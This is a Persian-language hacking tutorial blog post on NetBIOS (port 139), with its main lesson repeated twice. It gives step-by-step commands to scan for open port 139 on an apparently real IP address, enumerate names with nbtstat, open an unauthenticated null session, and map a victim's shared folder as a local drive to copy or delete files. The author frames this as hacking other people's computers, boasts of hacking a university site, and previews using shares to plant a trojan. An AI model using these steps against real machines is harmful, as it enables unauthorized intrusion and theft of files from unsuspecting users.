- خلاصه درس: در این درس با پورت ۱۳۹ ( NetBIOS ) آشنا میشویم.
◊ چند نکته
۱- در تمام درسهایی که با عنوان صحبت با پورتها شروع شده است، فقط بحث ارتباط استاندارد با آنها رو گفتهام. یعنی نخواستم درباره اینکه چگونه از نقاط ضعف آنها ( اصطلاحا Vulnerability ) سوءاستفاده کنیم، سخنی به میان بیارم. بحث استفاده از Vulnerability ها و اصطلاحا exploit کردن نرمافزارهای هر پورت بعدا مطرح خواهد شد. در مورد این درس هم همین نکته را رعایت کردهام. همین بحث netbios بعدا کاملتر خواهد شد.
۲- اگه یادتون باشه قبلا گفتم که باید سه مورد را خودتون شروع کنید به یاد گرفتن که عبارت بودند از C ، TCP/IP ، Linux من فرض میکنم که شما در این مدت این سه تا رو یاد گرفتین و کم کمک وارد مباحث مربوطه خواهم شد. اگه هنوز اطلاعاتتون کامل نشده، یوخته عجله کنین.
۳- مثال مهندسی اجتماعی رو که تو درس ۱۴ برای یاهو گفته بودم، غیر فعال کردم که دیگه user جدید قبول نکنه.
۴- سعی میکنم تو یکی از درسهای بعدی طریقه نصب لینوکس و نیز نصب مودم رو در این سیستمعامل آموزش بدم چون خیلی ازم میپرسن.
◊ NetBIOS چیست؟
NetBIOS مخفف عبارت Network Basic Input/Output System است. NetBIOS ابزاری است که اجازه به اشتراک گذاشتن منابع رو به ما میده. ما برای به اشتراک گذاشتن فایلها و یا پرینتر میتونیم از این پروتکل استفاده کنیم. نکته مهم این است که NetBIOS فقط در سیستمعامل ویندوز معنی داره (اگرچه ابزارهایی مثل Samba در لینوکس میتونن اونو شبیه سازی کنن ولی بحث ما خود پروتکل NetBIOS است). وقتی NetBIOS در ویندوز فعال باشد، بلافاصله سه تا پورت برای استفاده باز میشوند. پورت مهم و اصلی پورت ۱۳۹ در tcp است که NetBIOS را هم با این پورت میشناسن. دو پورت دیگر، از نوع udp هستند و عبارتند از پورت ۱۳۷ برای name service و پورت ۱۳۹ برای Datagram service . وقتی قرار باشه که یک سیستمعامل ویندوز هک بشه ( خصوصا اگه کلاینت باشه ) یکی از اولین مواردی که به ذهن میرسه، استفاده از NetBIOS ه.
حالا ببینیم منظور از به اشتراک گذاشتن (Sharing) در مورد فایلها و پرینترها چیست؟
به اشتراک گذاشتن در مورد فایلها یعنی قرار دادن تعدادی فایل در یک کامپیوتر خاص به طوریکه توسط سایر کامپیوترها قابل دسترسی و استفاده باشه. در مورد پرینتر به اشتراک گذاشتن یعنی طوری چاپگر متصل به یک کامپیوتر را تنظیم کنیم که توسط سایر کامپیوترها هم قابل استفاده باشه. با توجه به اینکه در سیستمعاملهای ویندوز به صورت پیشفرض NetBIOS فعال است، پس میتوان به تعدادی از فایلها و فولدرهای تعدادی از کامپیوترهای روی شبکه دسترسی داشت و فایلها را خواند و حتی کپی یا پاک کرد.
◊ چگونه با پورت ۱۳۹ صحبت کنیم؟
۱- اولین کاری که میکنیم این است که برای پورت ۱۳۹ پورت اسکن میکنیم تا ip هایی را که پورت ۱۳۹ در آنها باز است، پیدا کنیم. من این کار را با nmap انجام میدم. فرض کنید که یک ip به شماره 217.218.84.29 را تست کرده و به نتیجه زیر برسم:
Interesting ports on HOME-TU6U0AV86Y (217.218.84.29):
Port State Service
139/tcp open netbios-ssn
Remote operating system guess: Windows Millenn... (Me), Win 2000, or WinXP
این خروجی اعلام میکند که پورت ۱۳۹ باز است. پس میشود از این ip استفاده کرد.
۲- حالا میخوام با این پورت ارتباط برقرار کنم. اصولا باید مثل سابق از telnet یا nc استفاده کنم ولی در مورد پورت ۱۳۹ روش ارتباطی فرق میکند. کامنت پرامت را باز کرده و دستور زیر را مینویسم:
nbtstat -A 217.218.84.29
دستور nbtstat یک ابزار خاص برای کار با NetBIOS است. دقت کنید که از پارامتر A- با ip مربوطه استفاده کردم. (دستور nbtstat دارای پارامترهای بسیاری است که اگه میخواین همه رو ببینین، بنویسین nbtstat و enter را بزنید.)
حالا بحث اینه که این دستور چه کاری میکنه و خروجی به چه صورتی است:
این دستور به ip مورد نظر وصل میشه و از اون میخواد لیست منابعی رو که به اشتراک گذاشته رو لیست کنه. در این حالت ۲ حالت ممکنه اتفاق بیوفته:
الف) مواجه با پیغام Host not found بشم. این یعنی اینکه نمیتونه لیست منابع را از اون کامپیوتر بگیره (یعنی NetBIOS غیر فعاله). یعنی اگرچه پورت ۱۳۹ بازه ولی قابل استفاده نیست.
ب) ارتباط برقرار بشه و لیست منابع اشتراکی لیست بشه:
NetBIOS Remote Machine Name Table
Name Type Status
---------------------------------------------
HOME-TU6U0AV86Y<00> UNIQUE Registered
MSHOME <00> GROUP Registered
HOME-TU6U0AV86Y<20> UNIQUE Registered
MSHOME <1E> GROUP Registered
MAC Address = 00-53-45-00-00-00
۳- در این نتایج چیزی که به درد میخوره، سطری است که <20> دارد. اگه <20> نباشد، یعنی نمیتونین از اشتراک گذاری فایل استفاده کنید ( به عبارت ساده تر بیخیال شو این کامپیوتر رو ! ). در این مثال ما این سطر را داشتیم پس ادامه میدهیم. حالا مینویسم:
net view \\217.218.84.29
حالا اگه گفتین چی میشه؟ درسته! دو حالت ممکنه اتفاق بیوفته:
الف) پیغام بیاد
System error 5 has occurred.
Access is denied.
این یعنی نمیتونین ادامه بدین. به عبارت دیگه ایست! ولی یه کاری میتونید بکنید و اون اینه که یه null session برقرار کنید با اون کامپیوتر. این حالت در مورد ویندوزهای سری NT جواب میده. مینویسید:
net use \\217.218.84.29\IPC$ "" /user:""
حالا چرا میگن null session ؟ دلیلش اینه که یک ارتباط برقرار کردم با اون ip بدون username و بدون password . حالا اگه این دستور جواب داد میتونم دوباره دستور net view \\217.218.84.29 را تکرار کنم.
ب) ممکنه دستور ذکر شده جواب بده و مثلا جواب بده:
Shared resources at \\217.218.84.29
Share name Type Used as Comment
------------------------------------------------
Printer Print Acrobat PDFWriter
Printer2 Print Acrobat Distiller
SharedDocs Disk
The command completed successfully.
عالیه. دقت کنید که در این کامپیوتر یک فایل (Disk) به اسم ShareDocs به اشتراک گذاشته شده (دو تای باقی برای پرینتر است). حالا که رسیدم به این اسم دیگه آخرین دستور را مینویسم.
۴- حالا وقتشه که واقعا عمل به اشتراک گذاشتن رو انجام بدیم. برای اینکار باید یک درایو انتخاب کنید. حتما میدونید که درایو چیه. وقتی شما My Computer را دابل کلیک کرده و باز میکنید، یک سری آیکون میبینید که هر کدام اسمی دارند. مثلا :A برای فلاپی و و و تا میرسید به cdrom که آخرین حرف را دارد. مثلا فرض کنید که :K باشه. حالا باید اسم درایو رو برای اشتراک گذاشتن انتخاب کنید. برای اینکار حرف بعدی در زبان انگلیسی رو به کار ببرید. چون در کامپیوتر من :K آخرین بود، من حرف بعدی یعنی :L را انتخاب میکنم و دستور زیر را مینویسم:
net use L: \\217.218.84.29\SharedDocs
به اسم درایو، ip و نام مربوطه که ShareDocs دقت کنید. چون من اصطلاحا به صورت null session دارم ارتباط میگیرم، ممکنه کار نکنه ولی اگه درست کار کنه جواب میشنوم:
The command completed successfully.
معرکه است!!! حالا My Computer رو باز کنید و ببینید که درایو جدید به لیست درایوها اضافه شده که میتونین مثل درایوهای معمولی با اون کار کنید و فایل کپی کنید و ...
۵- وقتی کار تموم شد میتونید درایو رو حذف کنید. برای اینکار میتونین روی درایو رایتکلیک کنید و Disconnect را انتخاب کنید. و یا اینکه از دستور
net use /delete L:
استفاده کنید.
◊ نکته نکته نکته
۱- یه روش جالب به جای مرحله ۴ در بالا اینه که مثلا در مرورگر یا در run بنویسید 217.218.84.29\\ که ip دارای اشتراک است و یا اینکه تایپ کنید SharedDocsت\217.218.84.29\\ که اصولا باید جواب بده ( ولی من خودم تست نکردم اینو ).
۲- من دارم به صورت استاندارد کار میکنم. بعدا خواهم گفت که چطوری میتونیم وقتی تو بعضی از مراحل متوقف میشیم، اونو دور بزنیم.
۳- NetBIOS فقط برای کلاینتها نیست. من خودم یکبار سایت دانشگاه رو با اون هک کردم. البته با exploit کردن که بعدا خواهم گفت.
۴- اگه دارید یک کلاینت رو هک میکنید، باید سریع عمل کنید تا قبل از اینکه طرف disconnect کنه کار شما تموم شده باشه.
۵- روشهای دیگری هم برای کار با NetBIOS هست که یکی از اون روشها استفاده از یک سری نرمافزارهای خاص است که تو درس بعدی توضیح میدم و نیز یک روش دیگه اعمال تغییرات در فایلهای HOST و LMHOST و استفاده از find در سیستمعامل ویندوز است. ولی چون این روش دنگ و فنگش زیاده، جالب نیست.
۶- برای اینکه بتونیم با NetBIOS کار کنیم، علاوه بر اینکه در کامپیوتر طرف مقابل باید فعال باشه، روی کامپیوتر خودمون هم فعال باشه. چون در حالت پیشفرض در کامپیوتر فعال است، معمولا مشکلی نیست.
◊ درس بعدی
درس بعدی هم در مورد همین NetBIOS است:
۱- چگونه از این امکان share یا به اشتراک گذاشتن، برای اجرای یک تروجان روی کامپیوتر قربانی استفاده کنیم.
۲- چگونه NetBIOS را فعال و غیر فعال کنیم.
۳- از چه ابزارهای دیگهای میتونیم استفاده کنیم.
◊ چند نکته
۱- در تمام درسهایی که با عنوان صحبت با پورتها شروع شده است، فقط بحث ارتباط استاندارد با آنها رو گفتهام. یعنی نخواستم درباره اینکه چگونه از نقاط ضعف آنها ( اصطلاحا Vulnerability ) سوءاستفاده کنیم، سخنی به میان بیارم. بحث استفاده از Vulnerability ها و اصطلاحا exploit کردن نرمافزارهای هر پورت بعدا مطرح خواهد شد. در مورد این درس هم همین نکته را رعایت کردهام. همین بحث netbios بعدا کاملتر خواهد شد.
۲- اگه یادتون باشه قبلا گفتم که باید سه مورد را خودتون شروع کنید به یاد گرفتن که عبارت بودند از C ، TCP/IP ، Linux من فرض میکنم که شما در این مدت این سه تا رو یاد گرفتین و کم کمک وارد مباحث مربوطه خواهم شد. اگه هنوز اطلاعاتتون کامل نشده، یوخته عجله کنین.
۳- مثال مهندسی اجتماعی رو که تو درس ۱۴ برای یاهو گفته بودم، غیر فعال کردم که دیگه user جدید قبول نکنه.
۴- سعی میکنم تو یکی از درسهای بعدی طریقه نصب لینوکس و نیز نصب مودم رو در این سیستمعامل آموزش بدم چون خیلی ازم میپرسن.
◊ NetBIOS چیست؟
NetBIOS مخفف عبارت Network Basic Input/Output System است. NetBIOS ابزاری است که اجازه به اشتراک گذاشتن منابع رو به ما میده. ما برای به اشتراک گذاشتن فایلها و یا پرینتر میتونیم از این پروتکل استفاده کنیم. نکته مهم این است که NetBIOS فقط در سیستمعامل ویندوز معنی داره (اگرچه ابزارهایی مثل Samba در لینوکس میتونن اونو شبیه سازی کنن ولی بحث ما خود پروتکل NetBIOS است). وقتی NetBIOS در ویندوز فعال باشد، بلافاصله سه تا پورت برای استفاده باز میشوند. پورت مهم و اصلی پورت ۱۳۹ در tcp است که NetBIOS را هم با این پورت میشناسن. دو پورت دیگر، از نوع udp هستند و عبارتند از پورت ۱۳۷ برای name service و پورت ۱۳۹ برای Datagram service . وقتی قرار باشه که یک سیستمعامل ویندوز هک بشه ( خصوصا اگه کلاینت باشه ) یکی از اولین مواردی که به ذهن میرسه، استفاده از NetBIOS ه.
حالا ببینیم منظور از به اشتراک گذاشتن (Sharing) در مورد فایلها و پرینترها چیست؟
به اشتراک گذاشتن در مورد فایلها یعنی قرار دادن تعدادی فایل در یک کامپیوتر خاص به طوریکه توسط سایر کامپیوترها قابل دسترسی و استفاده باشه. در مورد پرینتر به اشتراک گذاشتن یعنی طوری چاپگر متصل به یک کامپیوتر را تنظیم کنیم که توسط سایر کامپیوترها هم قابل استفاده باشه. با توجه به اینکه در سیستمعاملهای ویندوز به صورت پیشفرض NetBIOS فعال است، پس میتوان به تعدادی از فایلها و فولدرهای تعدادی از کامپیوترهای روی شبکه دسترسی داشت و فایلها را خواند و حتی کپی یا پاک کرد.
◊ چگونه با پورت ۱۳۹ صحبت کنیم؟
۱- اولین کاری که میکنیم این است که برای پورت ۱۳۹ پورت اسکن میکنیم تا ip هایی را که پورت ۱۳۹ در آنها باز است، پیدا کنیم. من این کار را با nmap انجام میدم. فرض کنید که یک ip به شماره 217.218.84.29 را تست کرده و به نتیجه زیر برسم:
Interesting ports on HOME-TU6U0AV86Y (217.218.84.29):
Port State Service
139/tcp open netbios-ssn
Remote operating system guess: Windows Millenn... (Me), Win 2000, or WinXP
این خروجی اعلام میکند که پورت ۱۳۹ باز است. پس میشود از این ip استفاده کرد.
۲- حالا میخوام با این پورت ارتباط برقرار کنم. اصولا باید مثل سابق از telnet یا nc استفاده کنم ولی در مورد پورت ۱۳۹ روش ارتباطی فرق میکند. کامنت پرامت را باز کرده و دستور زیر را مینویسم:
nbtstat -A 217.218.84.29
دستور nbtstat یک ابزار خاص برای کار با NetBIOS است. دقت کنید که از پارامتر A- با ip مربوطه استفاده کردم. (دستور nbtstat دارای پارامترهای بسیاری است که اگه میخواین همه رو ببینین، بنویسین nbtstat و enter را بزنید.)
حالا بحث اینه که این دستور چه کاری میکنه و خروجی به چه صورتی است:
این دستور به ip مورد نظر وصل میشه و از اون میخواد لیست منابعی رو که به اشتراک گذاشته رو لیست کنه. در این حالت ۲ حالت ممکنه اتفاق بیوفته:
الف) مواجه با پیغام Host not found بشم. این یعنی اینکه نمیتونه لیست منابع را از اون کامپیوتر بگیره (یعنی NetBIOS غیر فعاله). یعنی اگرچه پورت ۱۳۹ بازه ولی قابل استفاده نیست.
ب) ارتباط برقرار بشه و لیست منابع اشتراکی لیست بشه:
NetBIOS Remote Machine Name Table
Name Type Status
---------------------------------------------
HOME-TU6U0AV86Y<00> UNIQUE Registered
MSHOME <00> GROUP Registered
HOME-TU6U0AV86Y<20> UNIQUE Registered
MSHOME <1E> GROUP Registered
MAC Address = 00-53-45-00-00-00
۳- در این نتایج چیزی که به درد میخوره، سطری است که <20> دارد. اگه <20> نباشد، یعنی نمیتونین از اشتراک گذاری فایل استفاده کنید ( به عبارت ساده تر بیخیال شو این کامپیوتر رو ! ). در این مثال ما این سطر را داشتیم پس ادامه میدهیم. حالا مینویسم:
net view \\217.218.84.29
حالا اگه گفتین چی میشه؟ درسته! دو حالت ممکنه اتفاق بیوفته:
الف) پیغام بیاد
System error 5 has occurred.
Access is denied.
این یعنی نمیتونین ادامه بدین. به عبارت دیگه ایست! ولی یه کاری میتونید بکنید و اون اینه که یه null session برقرار کنید با اون کامپیوتر. این حالت در مورد ویندوزهای سری NT جواب میده. مینویسید:
net use \\217.218.84.29\IPC$ "" /user:""
حالا چرا میگن null session ؟ دلیلش اینه که یک ارتباط برقرار کردم با اون ip بدون username و بدون password . حالا اگه این دستور جواب داد میتونم دوباره دستور net view \\217.218.84.29 را تکرار کنم.
ب) ممکنه دستور ذکر شده جواب بده و مثلا جواب بده:
Shared resources at \\217.218.84.29
Share name Type Used as Comment
------------------------------------------------
Printer Print Acrobat PDFWriter
Printer2 Print Acrobat Distiller
SharedDocs Disk
The command completed successfully.
عالیه. دقت کنید که در این کامپیوتر یک فایل (Disk) به اسم ShareDocs به اشتراک گذاشته شده (دو تای باقی برای پرینتر است). حالا که رسیدم به این اسم دیگه آخرین دستور را مینویسم.
۴- حالا وقتشه که واقعا عمل به اشتراک گذاشتن رو انجام بدیم. برای اینکار باید یک درایو انتخاب کنید. حتما میدونید که درایو چیه. وقتی شما My Computer را دابل کلیک کرده و باز میکنید، یک سری آیکون میبینید که هر کدام اسمی دارند. مثلا :A برای فلاپی و و و تا میرسید به cdrom که آخرین حرف را دارد. مثلا فرض کنید که :K باشه. حالا باید اسم درایو رو برای اشتراک گذاشتن انتخاب کنید. برای اینکار حرف بعدی در زبان انگلیسی رو به کار ببرید. چون در کامپیوتر من :K آخرین بود، من حرف بعدی یعنی :L را انتخاب میکنم و دستور زیر را مینویسم:
net use L: \\217.218.84.29\SharedDocs
به اسم درایو، ip و نام مربوطه که ShareDocs دقت کنید. چون من اصطلاحا به صورت null session دارم ارتباط میگیرم، ممکنه کار نکنه ولی اگه درست کار کنه جواب میشنوم:
The command completed successfully.
معرکه است!!! حالا My Computer رو باز کنید و ببینید که درایو جدید به لیست درایوها اضافه شده که میتونین مثل درایوهای معمولی با اون کار کنید و فایل کپی کنید و ...
۵- وقتی کار تموم شد میتونید درایو رو حذف کنید. برای اینکار میتونین روی درایو رایتکلیک کنید و Disconnect را انتخاب کنید. و یا اینکه از دستور
net use /delete L:
استفاده کنید.
◊ نکته نکته نکته
۱- یه روش جالب به جای مرحله ۴ در بالا اینه که مثلا در مرورگر یا در run بنویسید 217.218.84.29\\ که ip دارای اشتراک است و یا اینکه تایپ کنید SharedDocsت\217.218.84.29\\ که اصولا باید جواب بده ( ولی من خودم تست نکردم اینو ).
۲- من دارم به صورت استاندارد کار میکنم. بعدا خواهم گفت که چطوری میتونیم وقتی تو بعضی از مراحل متوقف میشیم، اونو دور بزنیم.
۳- NetBIOS فقط برای کلاینتها نیست. من خودم یکبار سایت دانشگاه رو با اون هک کردم. البته با exploit کردن که بعدا خواهم گفت.
۴- اگه دارید یک کلاینت رو هک میکنید، باید سریع عمل کنید تا قبل از اینکه طرف disconnect کنه کار شما تموم شده باشه.
۵- روشهای دیگری هم برای کار با NetBIOS هست که یکی از اون روشها استفاده از یک سری نرمافزارهای خاص است که تو درس بعدی توضیح میدم و نیز یک روش دیگه اعمال تغییرات در فایلهای HOST و LMHOST و استفاده از find در سیستمعامل ویندوز است. ولی چون این روش دنگ و فنگش زیاده، جالب نیست.
۶- برای اینکه بتونیم با NetBIOS کار کنیم، علاوه بر اینکه در کامپیوتر طرف مقابل باید فعال باشه، روی کامپیوتر خودمون هم فعال باشه. چون در حالت پیشفرض در کامپیوتر فعال است، معمولا مشکلی نیست.
◊ درس بعدی
درس بعدی هم در مورد همین NetBIOS است:
۱- چگونه از این امکان share یا به اشتراک گذاشتن، برای اجرای یک تروجان روی کامپیوتر قربانی استفاده کنیم.
۲- چگونه NetBIOS را فعال و غیر فعال کنیم.
۳- از چه ابزارهای دیگهای میتونیم استفاده کنیم.
کوچیک ::: یکشنبه 86/7/22::: ساعت 3:0 صبح
نظرات دیگران: نظر
لیست کل یادداشت های این وبلاگ
>> بازدیدهای وبلاگ <<
بازدید امروز: 9
بازدید دیروز: 1
کل بازدید :31834
بازدید دیروز: 1
کل بازدید :31834
>>اوقات شرعی <<
>> درباره خودم <<
>>لوگوی وبلاگ من<<
>>آرشیو شده ها<<
>>جستجو در وبلاگ<<
جستجو:
>>اشتراک در خبرنامه<<
>>تبلیغات<<